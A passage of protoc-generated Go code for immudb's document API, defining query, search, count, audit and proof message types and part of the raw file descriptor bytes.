{\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use Query.ProtoReflect.Descriptor instead.\nfunc (*Query) Descriptor() ([]byte, []int) {\n\treturn file_documents_proto_rawDescGZIP(), []int{28}\n}\n\nfunc (x *Query) GetCollectionName() string {\n\tif x != nil {\n\t\treturn x.CollectionName\n\t}\n\treturn \"\"\n}\n\nfunc (x *Query) GetExpressions() []*QueryExpression {\n\tif x != nil {\n\t\treturn x.Expressions\n\t}\n\treturn nil\n}\n\nfunc (x *Query) GetOrderBy() []*OrderByClause {\n\tif x != nil {\n\t\treturn x.OrderBy\n\t}\n\treturn nil\n}\n\nfunc (x *Query) GetLimit() uint32 {\n\tif x != nil {\n\t\treturn x.Limit\n\t}\n\treturn 0\n}\n\ntype QueryExpression struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\tFieldComparisons []*FieldComparison `protobuf:\"bytes,1,rep,name=fieldComparisons,proto3\" json:\"fieldComparisons,omitempty\"`\n}\n\nfunc (x *QueryExpression) Reset() {\n\t*x = QueryExpression{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_documents_proto_msgTypes[29]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *QueryExpression) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*QueryExpression) ProtoMessage() {}\n\nfunc (x *QueryExpression) ProtoReflect() protoreflect.Message {\n\tmi := &file_documents_proto_msgTypes[29]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use QueryExpression.ProtoReflect.Descriptor instead.\nfunc (*QueryExpression) Descriptor() ([]byte, []int) {\n\treturn file_documents_proto_rawDescGZIP(), []int{29}\n}\n\nfunc (x *QueryExpression) GetFieldComparisons() []*FieldComparison {\n\tif x != nil {\n\t\treturn x.FieldComparisons\n\t}\n\treturn nil\n}\n\ntype FieldComparison struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\tField    string             `protobuf:\"bytes,1,opt,name=field,proto3\" json:\"field,omitempty\"`\n\tOperator ComparisonOperator `protobuf:\"varint,2,opt,name=operator,proto3,enum=immudb.model.ComparisonOperator\" json:\"operator,omitempty\"`\n\tValue    *structpb.Value    `protobuf:\"bytes,3,opt,name=value,proto3\" json:\"value,omitempty\"`\n}\n\nfunc (x *FieldComparison) Reset() {\n\t*x = FieldComparison{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_documents_proto_msgTypes[30]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *FieldComparison) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*FieldComparison) ProtoMessage() {}\n\nfunc (x *FieldComparison) ProtoReflect() protoreflect.Message {\n\tmi := &file_documents_proto_msgTypes[30]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use FieldComparison.ProtoReflect.Descriptor instead.\nfunc (*FieldComparison) Descriptor() ([]byte, []int) {\n\treturn file_documents_proto_rawDescGZIP(), []int{30}\n}\n\nfunc (x *FieldComparison) GetField() string {\n\tif x != nil {\n\t\treturn x.Field\n\t}\n\treturn \"\"\n}\n\nfunc (x *FieldComparison) GetOperator() ComparisonOperator {\n\tif x != nil {\n\t\treturn x.Operator\n\t}\n\treturn ComparisonOperator_EQ\n}\n\nfunc (x *FieldComparison) GetValue() *structpb.Value {\n\tif x != nil {\n\t\treturn x.Value\n\t}\n\treturn nil\n}\n\ntype OrderByClause struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\tField string `protobuf:\"bytes,1,opt,name=field,proto3\" json:\"field,omitempty\"`\n\tDesc  bool   `protobuf:\"varint,2,opt,name=desc,proto3\" json:\"desc,omitempty\"`\n}\n\nfunc (x *OrderByClause) Reset() {\n\t*x = OrderByClause{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_documents_proto_msgTypes[31]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *OrderByClause) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*OrderByClause) ProtoMessage() {}\n\nfunc (x *OrderByClause) ProtoReflect() protoreflect.Message {\n\tmi := &file_documents_proto_msgTypes[31]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use OrderByClause.ProtoReflect.Descriptor instead.\nfunc (*OrderByClause) Descriptor() ([]byte, []int) {\n\treturn file_documents_proto_rawDescGZIP(), []int{31}\n}\n\nfunc (x *OrderByClause) GetField() string {\n\tif x != nil {\n\t\treturn x.Field\n\t}\n\treturn \"\"\n}\n\nfunc (x *OrderByClause) GetDesc() bool {\n\tif x != nil {\n\t\treturn x.Desc\n\t}\n\treturn false\n}\n\ntype SearchDocumentsResponse struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\tSearchId  string                `protobuf:\"bytes,1,opt,name=searchId,proto3\" json:\"searchId,omitempty\"`\n\tRevisions []*DocumentAtRevision `protobuf:\"bytes,2,rep,name=revisions,proto3\" json:\"revisions,omitempty\"`\n}\n\nfunc (x *SearchDocumentsResponse) Reset() {\n\t*x = SearchDocumentsResponse{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_documents_proto_msgTypes[32]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *SearchDocumentsResponse) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*SearchDocumentsResponse) ProtoMessage() {}\n\nfunc (x *SearchDocumentsResponse) ProtoReflect() protoreflect.Message {\n\tmi := &file_documents_proto_msgTypes[32]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use SearchDocumentsResponse.ProtoReflect.Descriptor instead.\nfunc (*SearchDocumentsResponse) Descriptor() ([]byte, []int) {\n\treturn file_documents_proto_rawDescGZIP(), []int{32}\n}\n\nfunc (x *SearchDocumentsResponse) GetSearchId() string {\n\tif x != nil {\n\t\treturn x.SearchId\n\t}\n\treturn \"\"\n}\n\nfunc (x *SearchDocumentsResponse) GetRevisions() []*DocumentAtRevision {\n\tif x != nil {\n\t\treturn x.Revisions\n\t}\n\treturn nil\n}\n\ntype DocumentAtRevision struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\tTransactionId uint64            `protobuf:\"varint,1,opt,name=transactionId,proto3\" json:\"transactionId,omitempty\"`\n\tDocumentId    string            `protobuf:\"bytes,2,opt,name=documentId,proto3\" json:\"documentId,omitempty\"`\n\tRevision      uint64            `protobuf:\"varint,3,opt,name=revision,proto3\" json:\"revision,omitempty\"`\n\tMetadata      *DocumentMetadata `protobuf:\"bytes,4,opt,name=metadata,proto3\" json:\"metadata,omitempty\"`\n\tDocument      *structpb.Struct  `protobuf:\"bytes,5,opt,name=document,proto3\" json:\"document,omitempty\"`\n\tUsername      string            `protobuf:\"bytes,6,opt,name=username,proto3\" json:\"username,omitempty\"`\n\tTs            int64             `protobuf:\"varint,7,opt,name=ts,proto3\" json:\"ts,omitempty\"`\n}\n\nfunc (x *DocumentAtRevision) Reset() {\n\t*x = DocumentAtRevision{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_documents_proto_msgTypes[33]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *DocumentAtRevision) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*DocumentAtRevision) ProtoMessage() {}\n\nfunc (x *DocumentAtRevision) ProtoReflect() protoreflect.Message {\n\tmi := &file_documents_proto_msgTypes[33]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use DocumentAtRevision.ProtoReflect.Descriptor instead.\nfunc (*DocumentAtRevision) Descriptor() ([]byte, []int) {\n\treturn file_documents_proto_rawDescGZIP(), []int{33}\n}\n\nfunc (x *DocumentAtRevision) GetTransactionId() uint64 {\n\tif x != nil {\n\t\treturn x.TransactionId\n\t}\n\treturn 0\n}\n\nfunc (x *DocumentAtRevision) GetDocumentId() string {\n\tif x != nil {\n\t\treturn x.DocumentId\n\t}\n\treturn \"\"\n}\n\nfunc (x *DocumentAtRevision) GetRevision() uint64 {\n\tif x != nil {\n\t\treturn x.Revision\n\t}\n\treturn 0\n}\n\nfunc (x *DocumentAtRevision) GetMetadata() *DocumentMetadata {\n\tif x != nil {\n\t\treturn x.Metadata\n\t}\n\treturn nil\n}\n\nfunc (x *DocumentAtRevision) GetDocument() *structpb.Struct {\n\tif x != nil {\n\t\treturn x.Document\n\t}\n\treturn nil\n}\n\nfunc (x *DocumentAtRevision) GetUsername() string {\n\tif x != nil {\n\t\treturn x.Username\n\t}\n\treturn \"\"\n}\n\nfunc (x *DocumentAtRevision) GetTs() int64 {\n\tif x != nil {\n\t\treturn x.Ts\n\t}\n\treturn 0\n}\n\ntype DocumentMetadata struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\tDeleted bool `protobuf:\"varint,1,opt,name=deleted,proto3\" json:\"deleted,omitempty\"`\n}\n\nfunc (x *DocumentMetadata) Reset() {\n\t*x = DocumentMetadata{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_documents_proto_msgTypes[34]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *DocumentMetadata) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*DocumentMetadata) ProtoMessage() {}\n\nfunc (x *DocumentMetadata) ProtoReflect() protoreflect.Message {\n\tmi := &file_documents_proto_msgTypes[34]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use DocumentMetadata.ProtoReflect.Descriptor instead.\nfunc (*DocumentMetadata) Descriptor() ([]byte, []int) {\n\treturn file_documents_proto_rawDescGZIP(), []int{34}\n}\n\nfunc (x *DocumentMetadata) GetDeleted() bool {\n\tif x != nil {\n\t\treturn x.Deleted\n\t}\n\treturn false\n}\n\ntype CountDocumentsRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\tQuery *Query `protobuf:\"bytes,1,opt,name=query,proto3\" json:\"query,omitempty\"`\n}\n\nfunc (x *CountDocumentsRequest) Reset() {\n\t*x = CountDocumentsRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_documents_proto_msgTypes[35]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *CountDocumentsRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*CountDocumentsRequest) ProtoMessage() {}\n\nfunc (x *CountDocumentsRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_documents_proto_msgTypes[35]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use CountDocumentsRequest.ProtoReflect.Descriptor instead.\nfunc (*CountDocumentsRequest) Descriptor() ([]byte, []int) {\n\treturn file_documents_proto_rawDescGZIP(), []int{35}\n}\n\nfunc (x *CountDocumentsRequest) GetQuery() *Query {\n\tif x != nil {\n\t\treturn x.Query\n\t}\n\treturn nil\n}\n\ntype CountDocumentsResponse struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\tCount int64 `protobuf:\"varint,1,opt,name=count,proto3\" json:\"count,omitempty\"`\n}\n\nfunc (x *CountDocumentsResponse) Reset() {\n\t*x = CountDocumentsResponse{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_documents_proto_msgTypes[36]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *CountDocumentsResponse) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*CountDocumentsResponse) ProtoMessage() {}\n\nfunc (x *CountDocumentsResponse) ProtoReflect() protoreflect.Message {\n\tmi := &file_documents_proto_msgTypes[36]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use CountDocumentsResponse.ProtoReflect.Descriptor instead.\nfunc (*CountDocumentsResponse) Descriptor() ([]byte, []int) {\n\treturn file_documents_proto_rawDescGZIP(), []int{36}\n}\n\nfunc (x *CountDocumentsResponse) GetCount() int64 {\n\tif x != nil {\n\t\treturn x.Count\n\t}\n\treturn 0\n}\n\ntype AuditDocumentRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\tCollectionName string `protobuf:\"bytes,1,opt,name=collectionName,proto3\" json:\"collectionName,omitempty\"`\n\tDocumentId     string `protobuf:\"bytes,2,opt,name=documentId,proto3\" json:\"documentId,omitempty\"`\n\tDesc           bool   `protobuf:\"varint,3,opt,name=desc,proto3\" json:\"desc,omitempty\"`\n\tPage           uint32 `protobuf:\"varint,4,opt,name=page,proto3\" json:\"page,omitempty\"`\n\tPageSize       uint32 `protobuf:\"varint,5,opt,name=pageSize,proto3\" json:\"pageSize,omitempty\"`\n\tOmitPayload    bool   `protobuf:\"varint,6,opt,name=omitPayload,proto3\" json:\"omitPayload,omitempty\"`\n}\n\nfunc (x *AuditDocumentRequest) Reset() {\n\t*x = AuditDocumentRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_documents_proto_msgTypes[37]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *AuditDocumentRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*AuditDocumentRequest) ProtoMessage() {}\n\nfunc (x *AuditDocumentRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_documents_proto_msgTypes[37]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use AuditDocumentRequest.ProtoReflect.Descriptor instead.\nfunc (*AuditDocumentRequest) Descriptor() ([]byte, []int) {\n\treturn file_documents_proto_rawDescGZIP(), []int{37}\n}\n\nfunc (x *AuditDocumentRequest) GetCollectionName() string {\n\tif x != nil {\n\t\treturn x.CollectionName\n\t}\n\treturn \"\"\n}\n\nfunc (x *AuditDocumentRequest) GetDocumentId() string {\n\tif x != nil {\n\t\treturn x.DocumentId\n\t}\n\treturn \"\"\n}\n\nfunc (x *AuditDocumentRequest) GetDesc() bool {\n\tif x != nil {\n\t\treturn x.Desc\n\t}\n\treturn false\n}\n\nfunc (x *AuditDocumentRequest) GetPage() uint32 {\n\tif x != nil {\n\t\treturn x.Page\n\t}\n\treturn 0\n}\n\nfunc (x *AuditDocumentRequest) GetPageSize() uint32 {\n\tif x != nil {\n\t\treturn x.PageSize\n\t}\n\treturn 0\n}\n\nfunc (x *AuditDocumentRequest) GetOmitPayload() bool {\n\tif x != nil {\n\t\treturn x.OmitPayload\n\t}\n\treturn false\n}\n\ntype AuditDocumentResponse struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\tRevisions []*DocumentAtRevision `protobuf:\"bytes,1,rep,name=revisions,proto3\" json:\"revisions,omitempty\"`\n}\n\nfunc (x *AuditDocumentResponse) Reset() {\n\t*x = AuditDocumentResponse{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_documents_proto_msgTypes[38]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *AuditDocumentResponse) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*AuditDocumentResponse) ProtoMessage() {}\n\nfunc (x *AuditDocumentResponse) ProtoReflect() protoreflect.Message {\n\tmi := &file_documents_proto_msgTypes[38]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use AuditDocumentResponse.ProtoReflect.Descriptor instead.\nfunc (*AuditDocumentResponse) Descriptor() ([]byte, []int) {\n\treturn file_documents_proto_rawDescGZIP(), []int{38}\n}\n\nfunc (x *AuditDocumentResponse) GetRevisions() []*DocumentAtRevision {\n\tif x != nil {\n\t\treturn x.Revisions\n\t}\n\treturn nil\n}\n\ntype ProofDocumentRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\tCollectionName          string `protobuf:\"bytes,1,opt,name=collectionName,proto3\" json:\"collectionName,omitempty\"`\n\tDocumentId              string `protobuf:\"bytes,2,opt,name=documentId,proto3\" json:\"documentId,omitempty\"`\n\tTransactionId           uint64 `protobuf:\"varint,3,opt,name=transactionId,proto3\" json:\"transactionId,omitempty\"`\n\tProofSinceTransactionId uint64 `protobuf:\"varint,4,opt,name=proofSinceTransactionId,proto3\" json:\"proofSinceTransactionId,omitempty\"`\n}\n\nfunc (x *ProofDocumentRequest) Reset() {\n\t*x = ProofDocumentRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_documents_proto_msgTypes[39]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *ProofDocumentRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*ProofDocumentRequest) ProtoMessage() {}\n\nfunc (x *ProofDocumentRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_documents_proto_msgTypes[39]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use ProofDocumentRequest.ProtoReflect.Descriptor instead.\nfunc (*ProofDocumentRequest) Descriptor() ([]byte, []int) {\n\treturn file_documents_proto_rawDescGZIP(), []int{39}\n}\n\nfunc (x *ProofDocumentRequest) GetCollectionName() string {\n\tif x != nil {\n\t\treturn x.CollectionName\n\t}\n\treturn \"\"\n}\n\nfunc (x *ProofDocumentRequest) GetDocumentId() string {\n\tif x != nil {\n\t\treturn x.DocumentId\n\t}\n\treturn \"\"\n}\n\nfunc (x *ProofDocumentRequest) GetTransactionId() uint64 {\n\tif x != nil {\n\t\treturn x.TransactionId\n\t}\n\treturn 0\n}\n\nfunc (x *ProofDocumentRequest) GetProofSinceTransactionId() uint64 {\n\tif x != nil {\n\t\treturn x.ProofSinceTransactionId\n\t}\n\treturn 0\n}\n\ntype ProofDocumentResponse struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\tDatabase            string                 `protobuf:\"bytes,1,opt,name=database,proto3\" json:\"database,omitempty\"`\n\tCollectionId        uint32                 `protobuf:\"varint,2,opt,name=collectionId,proto3\" json:\"collectionId,omitempty\"`\n\tDocumentIdFieldName string                 `protobuf:\"bytes,3,opt,name=documentIdFieldName,proto3\" json:\"documentIdFieldName,omitempty\"`\n\tEncodedDocument     []byte                 `protobuf:\"bytes,4,opt,name=encodedDocument,proto3\" json:\"encodedDocument,omitempty\"`\n\tVerifiableTx        *schema.VerifiableTxV2 `protobuf:\"bytes,5,opt,name=verifiableTx,proto3\" json:\"verifiableTx,omitempty\"`\n}\n\nfunc (x *ProofDocumentResponse) Reset() {\n\t*x = ProofDocumentResponse{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_documents_proto_msgTypes[40]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *ProofDocumentResponse) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*ProofDocumentResponse) ProtoMessage() {}\n\nfunc (x *ProofDocumentResponse) ProtoReflect() protoreflect.Message {\n\tmi := &file_documents_proto_msgTypes[40]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use ProofDocumentResponse.ProtoReflect.Descriptor instead.\nfunc (*ProofDocumentResponse) Descriptor() ([]byte, []int) {\n\treturn file_documents_proto_rawDescGZIP(), []int{40}\n}\n\nfunc (x *ProofDocumentResponse) GetDatabase() string {\n\tif x != nil {\n\t\treturn x.Database\n\t}\n\treturn \"\"\n}\n\nfunc (x *ProofDocumentResponse) GetCollectionId() uint32 {\n\tif x != nil {\n\t\treturn x.CollectionId\n\t}\n\treturn 0\n}\n\nfunc (x *ProofDocumentResponse) GetDocumentIdFieldName() string {\n\tif x != nil {\n\t\treturn x.DocumentIdFieldName\n\t}\n\treturn \"\"\n}\n\nfunc (x *ProofDocumentResponse) GetEncodedDocument() []byte {\n\tif x != nil {\n\t\treturn x.EncodedDocument\n\t}\n\treturn nil\n}\n\nfunc (x *ProofDocumentResponse) GetVerifiableTx() *schema.VerifiableTxV2 {\n\tif x != nil {\n\t\treturn x.VerifiableTx\n\t}\n\treturn nil\n}\n\nvar File_documents_proto protoreflect.FileDescriptor\n\nvar file_documents_proto_rawDesc = []byte{\n\t0x0a, 0x0f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2e, 0x70, 0x72, 0x6f, 0x74,\n\t0x6f, 0x12, 0x0c, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x1a,\n\t0x1c, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x61, 0x6e, 0x6e, 0x6f,\n\t0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x1c, 0x67,\n\t0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x73,\n\t0x74, 0x72, 0x75, 0x63, 0x74, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x2c, 0x70, 0x72, 0x6f,\n\t0x74, 0x6f, 0x63, 0x2d, 0x67, 0x65, 0x6e, 0x2d, 0x73, 0x77, 0x61, 0x67, 0x67, 0x65, 0x72, 0x2f,\n\t0x6f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x61, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69,\n\t0x6f, 0x6e, 0x73, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x0c, 0x73, 0x63, 0x68, 0x65, 0x6d,\n\t0x61, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x22, 0xdf, 0x01, 0x0a, 0x17, 0x43, 0x72, 0x65, 0x61,\n\t0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75,\n\t0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28,\n\t0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x30, 0x0a, 0x13, 0x64, 0x6f, 0x63, 0x75, 0x6d,\n\t0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02,\n\t0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64,\n\t0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x06, 0x66, 0x69, 0x65,\n\t0x6c, 0x64, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75,\n\t0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x52, 0x06,\n\t0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x12, 0x2d, 0x0a, 0x07, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65,\n\t0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62,\n\t0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x07, 0x69, 0x6e,\n\t0x64, 0x65, 0x78, 0x65, 0x73, 0x3a, 0x22, 0x92, 0x41, 0x1f, 0x0a, 0x1d, 0xd2, 0x01, 0x04, 0x6e,\n\t0x61, 0x6d, 0x65, 0xd2, 0x01, 0x13, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64,\n\t0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x1a, 0x0a, 0x18, 0x43, 0x72, 0x65,\n\t0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73,\n\t0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x5d, 0x0a, 0x05, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x12,\n\t0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61,\n\t0x6d, 0x65, 0x12, 0x2b, 0x0a, 